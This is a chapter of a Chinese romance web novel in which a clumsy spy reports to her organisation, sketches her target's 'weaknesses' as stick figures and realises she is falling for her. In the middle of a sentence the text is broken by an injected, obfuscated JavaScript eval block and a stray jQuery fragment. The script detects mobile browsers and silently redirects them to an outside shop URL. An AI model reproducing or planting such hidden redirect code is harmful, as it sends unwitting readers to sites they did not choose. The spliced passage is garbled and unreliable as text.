王可可决定回归组织。
这个决定来得不算突然,但也谈不上深思熟虑。暴雨那晚之后,她和秦墨之间的关系就像一杯被搅浑了的水,表面上和以前没什么两样,但王可可知道,有什么东西已经沉到了杯底,只要轻轻一晃,就会重新浮起来。那个额头上的吻,那十指相扣的触感,那句“天亮了”,像三颗分量极重的石子,一颗一颗地砸进她原本就脆弱不堪的心理防线里。她开始害怕。害怕和秦墨在同一个空间里对视超过三秒,害怕晚上收到她发来的“早点睡”,害怕吃饭时她的筷子不小心碰到自己的筷子。这些情绪太满了,满到王可可觉得自己再不做点什么,就真的要彻底完蛋了。
她需要一个出口。一个能把她从秦墨的引力场里拽出去的力量。她想到了组织。当然,她一直都是组织的人。但在过去的这些天里,她几乎忘了自己还有一重身份。她是一个特工,代号221。她来这里的任务,从来都不是和秦墨看恐怖片、吃早餐、聊微信。她需要重新找回那个“王可可”。那个虽然笨、虽然没用、但至少还知道自己该干嘛的王可可。
于是,在秦墨出门上班后的一个上午,王可可站在了房间里的座机前。
那部白色座机端端正正地摆在床头柜上,像一件已经过时的古董。王可可搬来一把椅子,坐在它面前,双手放在膝盖上,表情虔诚得像要去参加什么重要的考试。她在脑子里把郑小帅的号码又过了一遍,用《生日快乐》的调子小声唱了一遍。然后她深吸一口气,拿起听筒,按下了那串数字。
拨号音在听筒里响了三下,被接起来了。
“喂,谁啊?”那头传来一个懒洋洋的男声,嘴里似乎还嚼着什么东西,声音含混不清。王可可握紧听筒,手心里全是汗。她的喉咙像被谁掐了一下,好半天才挤出一句话。
“喂,是我,221。任务有了重大突破,我已经潜入目标住所,请求下一步指示。”
她说得一本正经,每个字都像从特工手册里抠出来的。可电话那头的人沉默了几秒,像在费力地辨认她的声音。然后那个声音又响了起来,带着一种毫不掩饰的困惑和敷衍。
“你是谁?”
王可可差点把听筒捏碎。
“221!王可可!”她压着嗓子,又把名字重复了一遍。她的脸红到了耳朵根,像在对着一个打错电话的人拼命证明自己的存在。
那头又沉默了一秒。然后,那个男声用一种恍然大悟的语气说:“哦,吉祥物啊。”那语气懒散得让人想穿过电话线去打他。可王可可只能忍着。因为那头接着又说了一句:“你还活着啊?首领说你大概率已经被黑豹撕碎了,我们内部都给你默哀过了。”
王可可的嘴角抽了抽。她努力让自己保持冷静,但攥着听筒的手指关节已经泛了白。
“我还没死!”她的声音不自觉地拔高了,又赶紧压回去,做贼似的往门口看了看,“而且我就在黑豹家里!”
电话那头突然安静了。那种安静和之前不一样,像是对方终于从躺着的姿势里坐了起来。过了足足三秒,郑小帅的声音才重新传过来,音量比刚才大了一倍:“卧槽?你确定那是黑豹?”
“确定!她有金丝边眼镜!”王可可说得斩钉截铁,好像“金丝边眼镜”就是黑豹的唯一身份标识。
郑小帅又沉默了一秒,然后问出了一个让王可可始料未及的问题:“……你确定黑豹是女的?”
“是!我亲眼看到的!”王可可说到这里,脑子里不由自主地闪过秦墨逆光站在后备箱前的样子,声音突然低了下去,“超好看的那种女的……”
她说完就后悔了。电话那头响起一阵喧哗,像有什么东西被碰倒了,接着是好几个人的声音混在一起。王可可能想象出组织那边此刻的场景:郑小帅可能正坐在食堂里,旁边围了几个同事,大家一起对着电话面面相觑。她甚至能听见有人在旁边说“吉祥物说黑豹是女的”“她是不是被下了药”“不可能吧,资料上不是男的吗”。王可可深吸一口气,把听筒贴得更紧了些。
“喂?郑小帅!你还在吗?帮我转首领,我有正事汇报!”她努力让自己的声音听起来像那么回事。可电话那头实在太吵了,像菜市场一样。她听见有人喊“让开让开,老大来了”,然后是一个略显苍老的咳嗽声。王可可心头一紧,背不自觉地挺直了。
“221。”陈建国的声音在电话那头响起来,带着一种惯有的、不怒自威的慢调子。那种慢,像是别人都在跑,只有他在散步。可这种慢里又藏着一种让人不敢造次的分量。王可可握着听筒,不由自主地吞了吞口水。
“首领好。”她说。
“嗯。”陈建国应了一声,停了停,又补了一句,“听说你还活着。”
王可可觉得自己的心被这句话戳了个洞。这组织的关心方式,真是叫人感激不起来。她干巴巴地笑了一声:“首领,我不光活着,我还进入目标内部了。”
电话那头沉默了几秒。然后陈建国说:“说下去。”
王可可整理了一下措辞,把自己被黑豹绑走、住进别墅、获得一定程度自由的事说了一遍。当然,她省略了看电影、吃早餐、额头上的吻和十指相扣这些要命的细节。她用了一种尽可能“专业”的口吻,把秦墨说成“目标人物”,把别墅说成“目标住所”,把看电影说成“观察目标生活规律”。她把自己说得像一个忍辱负重、深入虎穴的孤胆英雄。电话那头的陈建国听得时不时“嗯”一声,郑小帅则一直没出声,不知道是在憋笑还是在憋什么。
“很好。”陈建国在她汇报完后,终于开口了。他的声音比刚才多了几分赞许,像一位老农终于看到了自家地里冒出了一棵像样的苗。“221,你做得很好。组织果然没有看错你。”
王可可听了,有点想哭。她等这句话等了不知道多久。虽然她很清楚,陈建国说“组织没有看错你”的时候,很可能自己都有点虚。但她还是觉得鼻子发酸。她吸了吸鼻子,挺起胸膛,准备迎接更有价值的任务。
“既然你已经成功打入黑豹内部,”陈建国继续说,语速放得很慢,每个字都像在抠着一块牌匾上的金漆,“组织决定,派你执行最核心的任务。”
王可可屏住了呼吸。最核心的任务。她终于要干一件真正像样的正事了。她的脑子里已经浮现出了各种电影画面:她化着精致的妆容,走进一间布满红外线的房间,用一根发卡解开保险柜,偷出关键文件,然后在千钧一发之际从顶楼跳下,滑索逃离现场。她的掌心因为兴奋而微微冒汗。
“什么任务?”她的声音不自觉地压低,带着一种即将踏上战场的庄重。
“拍下黑豹的日常。”陈建国说,“尤其是她的弱点和软肋。组织会根据你的情报,制定最终行动方案。”
王可可愣住了。她拿着听筒,半天没说话。窗外的阳光明晃晃地照进来,落在她的膝盖上,暖得有点失真。她觉得自己可能听错了。
“首领,您说……拍下她的日常?”
“对。”陈建国的语气不容置疑,“她的作息、习惯、喜好、弱点、软肋。所有能帮助我们击溃她的信息,都要记录下来。”
王可可咽了口唾沫,小声说:“可是首领,我手机被没收了,怎么拍?”
电话那头沉默了。然后陈建国的声音陡然拔高,像从平地炸开一个雷:“废物!你不会用眼睛记吗!”
王可可被吼得整个人一抖,听筒差点从手里滑出去。她的耳朵被震得嗡嗡响,过了好一会儿才缓过劲来。她缩着脖子,怯怯地说:“记、记不住……”
“那你就画下来!画下来邮寄给组织!”陈建国像在说一件再简单不过的事。他的语气里甚至带了一种“这么简单的事你还要我教”的不耐烦。
王可可的表情变得十分精彩。她张了张嘴,很想告诉陈建国,自己的画工和幼儿园中班水平不相上下,画出来的东西别说“黑豹的软肋”,连黑豹是人是鬼都分不清。但电话那头根本不给开口的机会。
“画不好也要画!这是命令!”
“啪”的一声,电话挂了。王可可举着听筒,保持着那个被吼完的姿势,像一尊被雷劈过的泥塑。她呆呆地坐在椅子上,脑子像被搅成了一锅浆糊。良久,她把听筒放回座机上,长长地吐了一口气。
“要画秦墨的日常?还要画弱点?”她对着窗外的阳光,发出了一声来自灵魂深处的疑问。窗外有两只麻雀飞过,没有回答她。
但王可可是一个执行力很强的人。虽然她的执行方式总是跑偏,但她从不拖延。当天下午,她就找来了纸和笔。她坐在书桌前,把A4纸摊开,笔帽叼在嘴里,眉头皱得能夹死苍蝇。她的表情认真极了,比她在市场部做业绩报表的时候还要认真一百倍。她把这当作一次正式的、严肃的情报收集工作。她甚至在纸的最上方写了一个标题:“目标人物黑豹日常及弱点画像(第一版)”。
然后她开始画了。
第一幅:一张秦墨的全身像。严格来说,是一根火柴人。圆圆的脑袋,四条直线代表四肢,中间一条竖线代表身体。她在火柴人的左耳位置画了一个小小的箭头,箭头旁边用极其工整的字迹写了一行小字:“耳朵上有颗红痣,只在很近的距离能看到。”
第二幅:一个方框代表书房,里面坐着一个火柴人。旁边标注:“每天在这里待很久,可能是在策划怎么毁灭世界。”
第三幅:一个方框代表餐厅,两个火柴人面对面坐着。其中一个火柴人的手里伸出一条长长的线,连到对面火柴人的碗里。旁边标注:“给我夹菜的次数=对我有企图(?)”
第四幅:一个方框代表浴室。只画了一半,另一半是空白。标注:“昨晚停电了,她很冷静,没害怕。”
第五幅:一个方框代表客厅,沙发上有两个火柴人。旁边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920382|213443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
标注:“她看恐怖片不害怕。她还会按暂停问我怕不怕。她真的很烦。”
第六幅:没有方框,只画了一条竖线。旁边标注:“她早上出门前会回头看我一眼。不是每次。但大都是。”
王可可画到这里,笔停了。她低头看着这些画,眉头渐渐松开,嘴唇也慢慢抿成了一条线。她的目光变得有些恍惚,像透过这些潦草的火柴人,看见了某些她一直不愿意承认的东西。她的脑子里放电影一样地闪过这些天的画面:秦墨在书房里摘眼镜的样子,秦墨在早餐桌上把牛奶推到她面前的样子,秦墨在黑暗中抓住她手腕的样子,秦墨在月光下说“天亮了”的样子。她的心口忽然酸软得厉害。她慢慢放下笔,把那些纸一张一张地整理好,叠成整齐的一沓。然后她一拍脑门,自暴自弃地往后一仰,倒在了椅背上。
“完了。”她盯着天花板,声音像从喉咙里挤出来的,“我好像把情报告诉了我自己。”
她把那些纸翻了又翻,越看越心虚。这哪是黑豹的弱点和软肋?这分明是她的心动日记。她把秦墨给组织“卖了”,可卖的全是自己在秦墨面前丢脸的事。更可气的是,她连“红痣”都写了。秦墨的耳后那颗红痣,她到底是怎么看到的?她为什么连这个都记得那么清楚?王可可猛地坐起来,把那些纸一股脑塞进了抽屉最深处。她不能再看了。再看下去,她怕自己真的会跑去跟秦墨说:“你别工作了,你每天那么累,我心疼。”
这个想法太可怕了。比黑豹还可怕。
王可可在书桌前坐了很久,最后决定去厨房找点吃的压压惊。她刚走到楼梯口,手机就响了。是秦墨发来的微信:“在做什么?”王可可看着这四个字,脑子里第一个蹦出来的画面是刚才那张“火柴人书房图”。她心虚地回了一句:“没做什么,睡觉。”秦墨没再回。王可可松了一口气。可她不知道的是,此刻秦墨正坐在办公室里,手里拿着手机。她的耳机里,却插着一台播放器的线。
播放器里传来的,是两个多小时前,王可可和组织的全部通话录音。
秦墨面不改色地听完了整段录音。听到“221,你做得很好”的时候,她挑了挑眉。听到“拍下黑豹的日常”的时候,她端起手边的咖啡喝了一口。听到“你确定黑豹是女的?”和“超好看的那种女的”的时候,她放下咖啡杯,靠在椅背上,嘴角像被什么牵引着一样,慢慢地、不可抑制地弯了起来。最后,当那句“画不好也要画!这是命令!”和电话挂断后的忙音落下时,秦墨终于忍不住了。她笑了。不是那种很浅的、一闪而过的笑。她真的笑了,肩膀轻轻耸动,眼睛弯起来,连带着那副金丝边眼镜都跟着颤。她的笑声很低,像从胸腔里震出来的,带着一种多年未见的、真正的愉悦。
秘书正好敲门进来送文件。她推门时,听见了那声笑。她的动作僵在了半空中,手里的文件一滑,咖啡杯从托盘上翻了下去,“啪”地砸在地板上,深褐色的液体泼了一地。秦墨止住笑,抬起头,看见秘书一脸见了鬼的表情站在门口,脸色白得像刚被人扇了两个耳光。
“秦总……我……”秘书语无伦次。
“收拾一下。”秦墨恢复了平时那副平静而疏离的样子,只是眼角还残着一点未散尽的笑意,“再煮一杯。今天你没事了,回去吧。”
秘书像做梦一样退了出去。门关上的那一刻,她还在恍惚。她跟了秦墨三年,三年。她从来没见过秦墨那样笑。她甚至不知道秦墨会那样笑。那笑容让她觉得自己可能在做梦,又或者,这栋楼里的某个地方,真的发生了什么了不得的事。
而秦墨坐在办公室里,重新看向手机屏幕上王可可发来的那两个字:“没做什么,睡觉。”她的嘴角又扬了扬。她拿起手机,点开相册,翻到一张监控截图。画面是王可可的卧室,王可可正坐在书桌前,咬着笔帽,面前铺着几张纸,眉头皱成一团。秦墨把那张截图放大,认出了那些歪歪斜斜的火柴人。她笑了一下,把手机反扣在桌面上,望向窗外的城市。天色很好,万里无云。秦墨忽然觉得,自己好像很久没有这样轻松过了。
她给王可可回了一条消息:“晚上想吃什么。”
王可可秒回:“火锅。”
秦墨回:“好。”
然后她又发了一条:“你负责吃,我负责涮。”
王可可发来一个猫猫探头问号的表情包。秦墨看着那个表情包,又笑了。她觉得自己最近笑的次数,比她过去三年加起来还多。这不应该。可她没有要停下的意思。
而另一头,王可可坐在厨房的高脚凳上,怀里抱着一盒刚翻出来的草莓酸奶,手机屏幕上是秦墨发来的“你负责吃,我负责涮”。她的嘴还咬着酸奶勺子,眼睛却已经弯成了两道小月牙。她心里想,组织交给我的任务,要不……再拖一拖吧。反正她让我画,也没说什么时候交。我又没说不交。只是……再观察观察。
毕竟红痣还没看清呢。